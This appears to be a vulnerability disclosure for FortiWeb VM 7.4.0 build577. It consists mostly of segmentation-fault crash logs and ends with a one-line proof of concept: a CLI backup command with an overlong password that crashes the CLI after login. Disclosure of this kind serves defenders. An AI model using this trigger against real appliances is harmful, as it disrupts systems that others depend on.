Headline
FortiWeb VM 7.4.0 build577 CLI Crash
FortiWeb VM version 7.4.0 build577 suffers from a post authentication CLI crash when provided a long password.
;; ;; FortiWeb VM (v7.4.0 build577) Post-auth CLI Crash;; ;; (...);; ;; code610 / some debug notes fyi;; ;; 17.11.2023 @ 23:33;; FortiWeb # diagnose debug crashlog show2023-11-16 05:07:00 <004315> application cli2023-11-16 05:07:00 <004315> *** signal Segmentation fault received ***2023-11-16 05:07:00 <004315> RIP 00007fdd1febf44f2023-11-16 05:07:00 <004315> EFLAGS 00000000000102062023-11-16 05:07:00 <004315> RAX 00000000000000002023-11-16 05:07:00 <004315> RBX 00000000000000052023-11-16 05:07:00 <004315> RCX 00005642dd55d4b12023-11-16 05:07:00 <004315> RDX 00007ffca74d8ff02023-11-16 05:07:00 <004315> RSI 00000000000000002023-11-16 05:07:00 <004315> RDI 00007ffca74d82d02023-11-16 05:07:00 <004315> RBP 00000000000000002023-11-16 05:07:00 <004315> RSP 00007ffca74d82082023-11-16 05:07:00 <004315> CS 00002023-11-16 05:07:00 <004315> GS 00002023-11-16 05:07:00 <004315> FS 00332023-11-16 05:07:00 <004315> Trap 000000000000000e2023-11-16 05:07:00 <004315> Error 00000000000000062023-11-16 05:07:00 <004315> Oldmask 00000000000000002023-11-16 05:07:00 <004315> CR2 00007ffca74d90202023-11-16 05:07:00 <004315> [0x00007fdd1febf44f] ==> /lib64/libc.so.6 + 0x000000000013d44f)2023-11-16 05:07:00 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)2023-11-16 05:07:00 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)2023-11-16 05:07:38 <004315> application cli2023-11-16 05:07:38 <004315> *** signal Segmentation fault received ***2023-11-16 05:07:38 <004315> RIP 00007fdd1fec034f2023-11-16 05:07:38 <004315> EFLAGS 00000000000102062023-11-16 05:07:38 <004315> RAX 00000000000000002023-11-16 05:07:38 <004315> RBX 00000000000000062023-11-16 05:07:38 <004315> RCX 00005642dd55403b2023-11-16 05:07:38 <004315> RDX 00007ffca74d8fe02023-11-16 05:07:38 <004315> RSI 00000000000000002023-11-16 05:07:38 <004315> RDI 00007ffca74d82d02023-11-16 05:07:38 <004315> RBP 00000000000000002023-11-16 05:07:38 <004315> RSP 00007ffca74d82082023-11-16 05:07:38 <004315> CS 00002023-11-16 05:07:38 <004315> GS 00002023-11-16 05:07:38 <004315> FS 00332023-11-16 05:07:38 <004315> Trap 000000000000000e2023-11-16 05:07:38 <004315> Error 00000000000000062023-11-16 05:07:38 <004315> Oldmask 00000000000000002023-11-16 05:07:38 <004315> CR2 00007ffca74d90102023-11-16 05:07:38 <004315> [0x00007fdd1fec034f] ==> /lib64/libc.so.6 + 0x000000000013e34f)2023-11-16 05:07:38 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)2023-11-16 05:07:38 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)2023-11-16 05:08:00 <004315> application cli2023-11-16 05:08:00 <004315> *** signal Segmentation fault received ***2023-11-16 05:08:00 <004315> RIP 00007fdd1febf2842023-11-16 05:08:00 <004315> EFLAGS 00000000000102462023-11-16 05:08:00 <004315> RAX 00000000000000002023-11-16 05:08:00 <004315> RBX 00000000000000062023-11-16 05:08:00 <004315> RCX 00005642dd558a802023-11-16 05:08:00 <004315> RDX 00007ffca74d90302023-11-16 05:08:00 <004315> RSI ffffffffffffffc02023-11-16 05:08:00 <004315> RDI 00007ffca74d82d02023-11-16 05:08:00 <004315> RBP 00000000000000002023-11-16 05:08:00 <004315> RSP 00007ffca74d82082023-11-16 05:08:00 <004315> CS 00002023-11-16 05:08:00 <004315> GS 00002023-11-16 05:08:00 <004315> FS 00332023-11-16 05:08:00 <004315> Trap 000000000000000e2023-11-16 05:08:00 <004315> Error 00000000000000062023-11-16 05:08:00 <004315> Oldmask 00000000000000002023-11-16 05:08:00 <004315> CR2 00007ffca74d90002023-11-16 05:08:00 <004315> [0x00007fdd1febf284] ==> /lib64/libc.so.6 + 0x000000000013d284)2023-11-16 05:08:00 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)2023-11-16 05:08:00 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)FortiWeb # ;; version: FortiWeb VM (v7.4.0 build577) ;; quick poc:fgweb_cli> execute backup cli-config tftp SOMEFILENAME 1.1.1.1 PASSWD_LEN_IS_OUR_CRASHER ;; ;; https://code610.blogspot.com/search?q=fortigate;;